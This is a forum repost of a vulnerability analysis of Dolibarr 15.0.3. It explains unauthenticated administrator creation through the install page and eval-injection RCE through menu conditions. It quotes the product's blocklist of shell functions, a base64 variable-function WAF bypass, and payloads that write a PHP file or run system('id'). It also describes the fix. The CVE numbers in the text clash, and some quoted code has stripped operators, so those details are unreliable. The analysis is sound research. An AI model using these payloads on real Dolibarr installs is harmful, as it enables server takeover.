Jump to content

Title: CVE-2022-40871 Dolibarr arbitrarily adds administrator and RCE vulnerability analysis

Featured Replies

Posted

0x01 Vulnerability Introduction

Dolibarr ERP CRM=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

CVE number: CVE-2022-2633

Vulnerability description: Dolibarr edit.php has a remote command execution vulnerability. After an attacker creates an administrator through a logical vulnerability, he can obtain server permissions through a background vulnerability.

Affected version:=15.0.3

0x02 Vulnerability Analysis

1.Environmental construction

Source code download address: https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

Unzip it into the web directory and access it directly ~/htdocs/

image-20221112215135292

Then configure conf/conf.php to install

2. Register any administrator user

This is actually a logical vulnerability. After installing the system, it will not lock it, but requires the user to manually add it in the documents directory, so we can enter here at any time to add the administrator account: ~/install/step4.php

For example, I will add aaa user here

image-20221112224440198

Can successfully enter the background

image-20221112224514801

3.Backend RCE

The last point of the background RCE is in the dol_eval() function of htdocs/core/lib/functions.lib.php

But there is a waf here, and most of the dangerous functions are banned

//We block use of php exec or php file functions

$forbiddenphpstrings=array('$$');

$forbiddenphpstrings=array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST'));

$forbiddenphpfunctions=array('exec', 'passthru', 'shell_exec', 'system', 'proc_open', 'popen', 'eval', 'dol_eval', 'executeCLI');

$forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('fopen', 'file_put_contents', 'fputs', 'fputscsv', 'fwrite', 'fpassthru', 'require', 'include', 'mkdir', 'rmdir', 'symlink', 'touch', 'unlink', 'umask'));

$forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('function', 'call_user_func'));

$forbiddenphpregex='global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b';

do {

$oldstringtoclean=$s;

$s=str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);

$s=preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s);

//$s=preg_replace('/\$[a-zA-Z0-9_\-\$]+\(/i', '', $s); //Remove $function( call and $mycall-mymethod(

} while ($oldstringtoclean !=$s);

if (strpos($s, '__forbiddenstring__') !==false) {

dol_syslog('Bad string syntax to evaluate: '.$s, LOG_WARNING);

if ($returnvalue) {

return 'Bad string syntax to evaluate: '.$s;

} else {

dol_syslog('Bad string syntax to evaluate: '.$s);

return '';

}

}

//print $s.'br\n';

if ($returnvalue) {

if ($hideerrors) {

return @eval('return '.$s.';');

} else {

return eval('return '.$s.';');

}

} else {

if ($hideerrors) {

@eval($s);

} else {

eval($s);

}

}

Here we look for the call of dol_eval(), and the above verifCond() is called

And here is a splicing, and we will talk about this later.

function verifCond($strToEvaluate)

{

global $user, $conf, $langs;

global $leftmenu;

global $rights; //To export to dol_eval function

//print $strToEvaluate.'br\n';

$rights=true;

if (isset($strToEvaluate) $strToEvaluate !=='') {

$str='if(!('.$strToEvaluate.')) $rights=false;';

dol_eval($str, 0, 1, '2');

}

return $rights;

}

Then look for the global parameters controllable calls of the verifCond function. There is a point in the menuLoad() function in menubase.class.php.

image-20221112232201159

You can see that although the verifCond code is controllable, it is obtained from the query results in the database.

Pay attention to perms and enable, both of which can be directly entered into verifCond

$resql=$this-db-query($sql);

if ($resql) {

$numa=$this-db-num_rows($resql);

$a=0;

$b=0;

while ($a $numa) {

//$objm=$this-db-fetch_object($resql);

$menu=$this-db-fetch_array($resql);

//Define $right

$perms=true;

if (isset($menu['perms'])) {

$tmpcond=$menu['perms'];

if ($leftmenu=='all') {

$tmpcond=preg_replace('/\$leftmenu\s*==\s*['\'a-zA-Z_]+/', '1==1', $tmpcond); //Force part of condition to true

}

$perms=verifCond($tmpcond);

//print 'verifCond rowid='.$menu['rowid'].' '.$tmpcond.':'.$perms.'br\n';

}

//Define $enabled

$enabled=true;

if (isset($menu['enabled'])) {

$tmpcond=$menu['enabled'];

if ($leftmenu=='all') {

$tmpcond=preg_replace('/\$leftmenu\s*==\s*['\'a-zA-Z_]+/', '1==1', $tmpcond); //Force part of condition to true

}

$enabled=verifCond($tmpcond);

}

Let's go to the front to see the SQL statement executed here. It is querying the data from the '.MAIN_DB_PREFIX.' menu table, but there is a WHERE conditional statement

m.entity IN (0,'.$conf-entity.')

m.menu_handler IN (''.$this-db-escape($menu_handler).'','all')

So if we can find an INSERT statement in '.MAIN_DB_PREFIX.' menu, we can control the perms and enable fields and entity and menu_handler can meet the WHERE conditions. Please note that entity comes from $conf-entity

$sql='SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position';

$sql .=' FROM '.MAIN_DB_PREFIX.'menu as m';

$sql .=' WHERE m.entity IN (0,'.$conf-entity.')';

$sql .=' AND m.menu_handler IN (''.$this-db-escape($menu_handler).'','all')';

if ($type_user==0) {

$sql .=' AND m.usertype IN (0,2)';

}

if ($type_user==1) {

$sql .=' AND m.usertype IN (1,2)';

}

$sql .=' ORDER BY m.position, m.rowid';

Just search here for regular search. There is indeed such a point, the create() function in the same file.

image-20221113000249851

Next, we need to see if the parameters are controllable. The VALUES here is set as a member attribute, but entity is $conf-entity, which directly meets the conditions, because the above SQL query is also this

image-20221113001946769

Next, I found that menu_handler will be automatically filled in when executing menuLoad function.

image-20221113002330295

So both WHERE conditions have been solved. The rest is to see whether perms and enable are controlled. There is no place to assign member variables inside the class, so you have to search globally.

It is found that perms and enable can be directly controlled in menus/edit.php

image-20221113002856865

After debugging, it was found that menuId needs to be unique, otherwise it will conflict and cannot be written to the database. The type here needs to be set to 1, otherwise an error will be reported.

1049983-20221114122937786-1858356172.png

Next, we can study how to bypass waf and execute eval. Here the author's approach is to use the characteristics of php: variable functions

//file_put_contents

$a=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');

//shellcode

$a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg=='));

Looking at the verifCond function

Here is a string splicing. Since it is executed eval, we can close its brackets and comment out the following code.

function verifCond($strToEvaluate)

{

global $user, $conf, $langs;

global $leftmenu;

global $rights; //To export to dol_eval function

//print $strToEvaluate.'br\n';

$rights=true;

if (isset($strToEvaluate) $strToEvaluate !=='') {

$str='if(!('.$strToEvaluate.')) $rights=false;';

dol_eval($str, 0, 1, '2');

}

return $rights;

}

This is such a payload (harmless payload

1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//

Then put the enable parameter and store it in the database, and finally the package is as follows

image-20221113004416906

Successfully stored in the database

image-20221113004508666

Debug and enter verifCond

image-20221113004645570

Follow up on verifCond, malicious construct stitching bypass, enter dol_eval

image-20221113004826342

Code execution successfully

image-20221113004918701

Successful getshell

image-20221113005123697

Vulnerability call stack

image-20221113004952924

0x03 Vulnerability Summary

The principle of this RCE vulnerability here is actually similar to secondary injection. First, the malicious code is stored in the database, and then the malicious code is triggered when extracting data from the database. A waf is also bypassed here, which uses the php feature —— variable function

Vulnerability fix

Here, the author's fix for the vulnerability is to strengthen the verifCond function

Here the string splicing is cancelled and the fourth parameter of dol_eval is '1'

image-20221113010538177

This will go into the following judgment. Look at the comments here, the rules here are designed to prevent RCE.

image-20221113011151428

One is the enhancement of the dol_eval function. Here, the forbiddenphpfunctions adds the verifCond function, which directly prohibits the execution of verifCond, but I don't know what the meaning of this hhh

image-20221113010132703

Author: Huamang

Reprinted from the original text connection: https://blog.huamang.xyz/post/cve-2022-40871/

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.